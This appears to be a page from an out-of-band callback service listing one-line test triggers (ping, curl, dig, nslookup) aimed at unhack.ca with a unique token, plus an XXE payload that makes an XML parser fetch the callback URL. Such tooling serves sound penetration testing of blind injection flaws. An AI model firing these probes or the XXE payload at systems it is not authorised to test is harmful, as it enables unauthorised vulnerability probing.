$ ping -c1 -p 00d3b80c05aecd11c7fb8e9f36d58000 unhack.ca
 

$ curl http://unhack.ca/p/d3b80c05aecd11c7fb8e9f36d580
 

$ dig d3b80c05aecd11c7fb8e9f36d580 @unhack.ca
 

$ dig d3b80c05aecd11c7fb8e9f36d580.ns.unhack.ca
 

C:\> nslookup d3b80c05aecd11c7fb8e9f36d580 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/d3b80c05aecd11c7fb8e9f36d580">]>
    <foo>&xxe;</foo>